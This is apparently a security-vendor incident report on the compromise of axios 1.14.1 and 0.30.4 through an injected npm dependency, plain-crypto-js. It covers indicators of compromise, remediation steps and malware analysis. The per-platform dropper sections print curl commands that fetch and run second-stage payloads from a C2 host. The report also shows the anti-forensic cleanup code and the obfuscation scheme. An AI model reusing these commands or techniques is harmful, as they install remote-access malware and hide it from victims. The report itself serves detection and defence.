axios Compromised: npm Supply Chain Attack via Dependency Injection

SafeDep Team
10 min read

Table of Contents

TL;DR

Note: This is a developing incident. We are actively analysing the breach and will update this post as new information becomes available.

Two compromised versions of axios were published to npm on March 31, 2026: 1.14.1 and 0.30.4, covering both the current 1.x and legacy 0.x branches. Both were published through what appears to be a compromised maintainer account. The attacker made a single change to package.json in each: injecting plain-crypto-js as a new dependency. That package, published less than 24 hours prior, contains an obfuscated postinstall payload that contacts a C2 server and downloads platform-specific second-stage payloads for macOS, Windows, and Linux. No axios source files were modified. The attack bypassed the project’s CI/CD pipeline and SLSA provenance attestations entirely.

Impact:

  • Projects with axios@^1.14.0 or axios@^0.30.0 auto-upgrade to the compromised versions on install
  • The payload executes automatically via postinstall with no user interaction required
  • A second-stage payload is fetched from hxxp://sfrclak[.]com:8000/
  • Windows, macOS, and Linux systems are all targeted with platform-specific payloads

Indicators of Compromise (IoC):

  • [email protected] (SHA256: 5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd)
  • [email protected] (SHA256: 59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f)
  • [email protected], [email protected] (npm)
  • C2: hxxp://sfrclak[.]com:8000/ (resolves to 142.11.206.73)
  • C2 server: Express.js, responds only to POST requests (GET returns 500)
  • Publisher email: ifstap@proton[.]me (compromised account)
  • Publisher email: nrwise@proton[.]me (trojan package)
  • macOS: native binary at /Library/Caches/com.apple.act.mond (disguised as Apple system daemon)
  • Windows: copied PowerShell binary at %PROGRAMDATA%\wt.exe
  • Linux/default: second-stage Python RAT at /tmp/ld.py, stage-3 binaries at /tmp/.<random> (dot-prefixed, hidden)
  • Second-stage payload SHA256 (Linux): fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf
  • C2 POST body contains packages.npm.org/product{0,1,2} (platform identifier: 0=macOS, 1=Windows, 2=Linux)
  • File 6202033 in $TMPDIR (all platforms)
  • setup.js SHA256: e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09
  • Windows: temporary dropper files %TEMP%\6202033.vbs and %TEMP%\6202033.ps1
  • RAT User-Agent: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
  • RAT beacon interval: HTTP POST every 60 seconds to C2
  • Process indicators: osascript from $TMPDIR (macOS), cscript running .vbs from %TEMP% (Windows), python3 /tmp/ld.py in background (Linux)

Search your filesystem for the trojan script:

Terminal window
find / -type f -name "setup.js" -exec shasum -a 256 {} \; 2>/dev/null \
| grep e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09

Analysis

No GitHub Tag, No Provenance, Wrong Publisher

The first signal: there is no v1.14.1 tag on the axios GitHub repository. The latest tag is v1.14.0, published March 27, 2026. This version appeared on npm without any corresponding source code commit. Anyone can verify this:

Terminal window
# No v1.14.1 tag exists
gh api repos/axios/axios/git/refs/tags/v1.14.1
# Returns 404
# v1.14.0 tag exists
gh api repos/axios/axios/git/refs/tags/v1.14.0
# Returns valid ref object

The publisher metadata confirms the anomaly. Querying the npm registry for both versions shows the shift from automated CI to manual publish:

Terminal window
# Compare publisher between versions
curl -s https://registry.npmjs.org/axios/1.14.0 | jq '._npmUser'
curl -s https://registry.npmjs.org/axios/1.14.1 | jq '._npmUser'
// [email protected] _npmUser
{
"name": "GitHub Actions",
"email": "[email protected]",
"trustedPublisher": {
"id": "github",
"oidcConfigId": "oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"
}
}
// [email protected] _npmUser
{
"name": "jasonsaayman",
"email": "[email protected]"
}

The real jasonsaayman account historically uses [email protected]. The switch to a Proton Mail address, combined with the manual publish that bypasses CI/CD, points to account takeover.

SLSA provenance attestations present in 1.14.0 are completely absent from 1.14.1:

Terminal window
# Check provenance attestations
curl -s https://registry.npmjs.org/axios/1.14.0 | jq '.dist.attestations'
curl -s https://registry.npmjs.org/axios/1.14.1 | jq '.dist.attestations'
{
"url": "https://registry.npmjs.org/-/npm/v1/attestations/[email protected]",
"provenance": {
"predicateType": "https://slsa.dev/provenance/v1"
}
}
null

The Single Diff

Comparing the dependencies between versions shows the injected package:

Terminal window
# Compare dependencies
curl -s https://registry.npmjs.org/axios/1.14.0 | jq '.dependencies'
curl -s https://registry.npmjs.org/axios/1.14.1 | jq '.dependencies'

Extracting and diffing the tarballs confirms only package.json differs. No JavaScript source file was touched. The diff:

package.json
"version": "1.14.0",
"version": "1.14.1",
// dependencies
"proxy-from-env": "^2.1.0"
"proxy-from-env": "^2.1.0",
"plain-crypto-js": "^4.2.1"
// scripts
"fix": "eslint --fix lib/**/*.js",
"prepare": "husky"
"fix": "eslint --fix lib/**/*.js"

Two changes: a new dependency added, and the prepare script (which runs Husky git hooks) removed.

The attacker also published [email protected] approximately 40 minutes later, targeting the legacy 0.x branch with the same injection. Projects pinned to ^0.30.0 are equally affected. The 0.30.3 release was the last legitimate version on that branch, published by [email protected] (the real email).

plain-crypto-js: The Trojan

plain-crypto-js was first published on March 30, 2026, less than 24 hours before the axios compromise. Two versions exist: 4.2.0 and 4.2.1.

// plain-crypto-js package.json
{
"name": "plain-crypto-js",
"description": "JavaScript library of crypto standards.",
"author": { "name": "Evan Vosberg", "url": "http://github.com/evanvosberg" },
"repository": { "url": "http://github.com/brix/crypto-js.git" },
"scripts": {
"postinstall": "node setup.js"
}
}

The package squats on the well known crypto-js library. The author and repository fields point to the legitimate crypto-js project to steal credibility. The actual maintainer is nrwise <[email protected]>, a throwaway Proton Mail account with no other packages on npm.

Diffing [email protected] against the legitimate [email protected] confirms this is a near-verbatim copy with two files added by the attacker:

FileStatus
setup.jsAdded. The obfuscated payload (4,209 bytes, single line).
package.mdAdded. A clean package.json without the postinstall hook, swapped in after execution to erase evidence.
package.jsonModified. Added "postinstall": "node setup.js", changed name/version.
All other ~40 filesIdentical to [email protected]. Pure camouflage.

To verify, run:

Terminal window
curl -sL https://registry.npmjs.org/plain-crypto-js/-/plain-crypto-js-4.2.1.tgz | tar xz -C /tmp/mal
curl -sL https://registry.npmjs.org/crypto-js/-/crypto-js-4.2.0.tgz | tar xz -C /tmp/legit
diff -rq /tmp/mal/package /tmp/legit/package

Payload: setup.js

The entire payload is a single minified line. It uses a custom two-layer deobfuscation scheme: base64 with reversed characters and underscore substitution, followed by a per-character XOR cipher with a rotating key derived from the string OrDeR_7077.

Static deobfuscation of the string table reveals:

IndexDecoded ValuePurpose
stq[0]child_processModule import
stq[1]osModule import
stq[2]fsModule import
stq[3]http://sfrclak.com:8000/C2 base URL
stq[5]win32OS detection
stq[6]darwinOS detection
stq[7]AppleScript dropper templatemacOS payload (downloads to /Library/Caches/com.apple.act.mond)
stq[8]cscript "LOCAL_PATH" //nologo && del...Windows execution
stq[9]VBScript dropper templateWindows payload (curl + renamed PowerShell)
stq[10]nohup osascript "LOCAL_PATH" > /dev/null 2>&1 &macOS execution
stq[12]curl -o /tmp/ld.py -d ... -s SCR_LINK && nohup python3 ...Linux execution
stq[15].exeWindows persistence suffix
stq[16].ps1PowerShell script extension
stq[17].vbsVBScript extension

The _entry function (called with argument "6202033") constructs the full C2 URL as hxxp://sfrclak[.]com:8000/6202033, then branches by OS:

Each platform gets a tailored dropper. The C2 uses packages.npm.org/product{0,1,2} as the POST body to differentiate platform requests.

macOS (darwin):

  1. Writes an AppleScript to $TMPDIR/6202033 that:
    • POSTs to C2 with body packages.npm.org/product0
    • Saves the response to /Library/Caches/com.apple.act.mond (disguised as an Apple system daemon)
    • chmod 770 and executes via /bin/zsh in background, passing C2 URL as argument
    • Self-deletes the AppleScript
  2. Executes with nohup osascript "$TMPDIR/6202033" > /dev/null 2>&1 &

The AppleScript effectively runs:

Terminal window
# macOS: download native binary, make executable, run in background
curl -o /Library/Caches/com.apple.act.mond \
-d packages.npm.org/product0 \
-s hxxp://sfrclak[.]com:8000/6202033 \
&& chmod 770 /Library/Caches/com.apple.act.mond \
&& /bin/zsh -c "/Library/Caches/com.apple.act.mond hxxp://sfrclak[.]com:8000/6202033 &"
rm -rf $TMPDIR/6202033

Windows (win32):

  1. Locates PowerShell via where powershell
  2. Copies the PowerShell binary to %PROGRAMDATA%\wt.exe (disguised as Windows Terminal)
  3. Writes a VBScript to %TEMP%\6202033.vbs that chains via cmd.exe:
Terminal window
REM Windows: download .ps1, execute hidden, clean up
cmd.exe /c curl -s -X POST -d "packages.npm.org/product1" ^
"hxxp://sfrclak[.]com:8000/6202033" > "%TEMP%\6202033.ps1" ^
& "%PROGRAMDATA%\wt.exe" -w hidden -ep bypass -file "%TEMP%\6202033.ps1" ^
"hxxp://sfrclak[.]com:8000/6202033" ^
& del "%TEMP%\6202033.ps1" /f
  1. Runs via cscript "%TEMP%\6202033.vbs" //nologo, then deletes the .vbs

Linux (default fallback):

POSTs to C2 with body packages.npm.org/product2, saves the response as /tmp/ld.py, and runs it:

Terminal window
# Linux: download Python RAT, run in background
curl -o /tmp/ld.py -d packages.npm.org/product2 \
-s hxxp://sfrclak[.]com:8000/6202033 \
&& nohup python3 /tmp/ld.py hxxp://sfrclak[.]com:8000/6202033 \
> /dev/null 2>&1 &

After execution, the payload self-deletes setup.js and renames package.md to package.json, removing the postinstall hook from the installed package to cover its tracks:

// setup.js (deobfuscated cleanup logic)
const K = __filename;
t.unlink(K, (x) => {}); // delete setup.js
t.unlink('package.json', (x) => {}); // delete current package.json (with postinstall)
t.rename('package.md', 'package.json', (x) => {}); // replace with clean version

Second Stage: Python RAT

The C2 at 142.11.206.73:8000 (running Express.js) serves payloads in response to POST requests. GET requests return a 500 error. We successfully retrieved the Linux second stage by POSTing with body packages.npm.org/product2. The macOS (product0) and Windows (product1) payloads were not retrieved before the C2 went offline. From the first-stage code, the macOS payload is expected to be a native binary (chmod 770, executed directly) and the Windows payload a PowerShell script (.ps1, run with -ep bypass).

The Linux second stage (ld.py, SHA256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf) is an unobfuscated Python RAT with no persistence mechanism (runs only until reboot). It supports four command types:

CommandFunction
killTerminates the RAT process
peinjectBinary dropper: base64-decodes payload, writes to /tmp/.<random> (dot-prefixed hidden file), chmod 0o777, and executes via Popen. Has a bug on line 156: references undefined b64_string instead of the ijtbin parameter, suggesting code was copied from another version.
runscriptTwo modes: if Script field is empty, runs Param as shell command (shell=True). If Script is provided, base64-decodes it and runs as python3 -c <code>. Output captured and returned to C2.
rundirEnumerates directory contents (file names, sizes, timestamps)

On first contact, the RAT sends a FirstInfo beacon containing a directory listing of $HOME, $HOME/.config, $HOME/Documents, and $HOME/Desktop. It then enters a 60-second polling loop, sending BaseInfo beacons with:

  • Hostname, username, OS, architecture
  • System manufacturer and product name (from /sys/class/dmi/id/)
  • Full process list with PIDs, parent PIDs, usernames, and command lines
  • Boot time, install time, timezone

Each beacon response can contain a command for the RAT to execute. Results are base64-encoded and POSTed back. The User-Agent string in all C2 communication is hardcoded:

mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)

The peinject handler (named after Windows PE injection, though this is the Linux variant) is the mechanism for deploying stage-3 payloads: the C2 operator can push any binary at any time. It has a bug on line 156 where it references an undefined b64_string instead of the ijtbin parameter, suggesting the code was copied from another version. Regardless, runscript with shell=True already provides equivalent capability.

The RAT has no persistence mechanism. It runs only until reboot, suggesting the operator either deploys persistence via runscript/peinject after initial access, or the campaign is focused on quick data exfiltration.

Deobfuscation Walkthrough: setup.js in plain-crypto-js

The _trans_2 function reverses the input string, swaps underscores for = padding, then base64-decodes. The result is passed through _trans_1, which XORs each character against a rotating key derived from the position index:

// _trans_1: XOR cipher with position-dependent key
const E = 'OrDeR_7077'.split('').map(Number);
// E = [NaN, NaN, NaN, NaN, NaN, NaN, 7, 0, 7, 7]
return x.split('').map((char, pos) => {
const code = char.charCodeAt(0);
const key = E[(7 * pos * pos) % 10]; // quadratic index into key
return String.fromCharCode(code ^ key ^ 333);
});

The quadratic index 7 * pos * pos % 10 makes the key rotation non-linear, complicating naive pattern analysis. The constant 333 (0x14D) adds a fixed XOR layer.

Attack Summary

This is a dependency injection attack against the highest-traffic package in the npm ecosystem:

  1. Attacker gains access to the jasonsaayman npm account (likely credential theft or session hijack). The account email at time of publish is [email protected], different from the [email protected] seen on prior legitimate releases
  2. Pre-stages plain-crypto-js from a separate throwaway account ([email protected])
  3. Publishes [email protected] manually, bypassing GitHub Actions CI/CD and SLSA provenance
  4. The only modification: inject plain-crypto-js into dependencies and remove the prepare script
  5. Repeats the injection on [email protected] (~40 minutes later) to cover the legacy 0.x branch

The attack is notable for its restraint. No axios source files were modified, making traditional diff-based code review less likely to catch it. The malicious behavior lives entirely in a transitive dependency, triggered automatically by npm’s postinstall lifecycle.

With approximately 100 million weekly downloads, any project using a caret range (^1.14.0) would pull in 1.14.1 on the next npm install.

  1. Pin axios to 1.14.0 (or 0.30.3 for 0.x branch) or earlier in your lockfile
  2. Audit systems that ran npm install after March 31, 2026 00:21 UTC for persistence artifacts
  3. Check for: $TMPDIR/6202033 (all platforms), %PROGRAMDATA%\wt.exe (Windows), /tmp/ld.py (Linux)
  4. Rotate credentials on any system where axios 1.14.1 was installed

Conclusion

The provenance signals told the whole story before any code analysis was needed: no GitHub tag, no SLSA attestation, publisher email changed, manual publish bypassing CI/CD.

References

  • npm
  • oss
  • malware
  • supply-chain

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code

Not Malware

Install the SafeDep GitHub App to keep malicious packages out of your repos.

GitHub Install GitHub App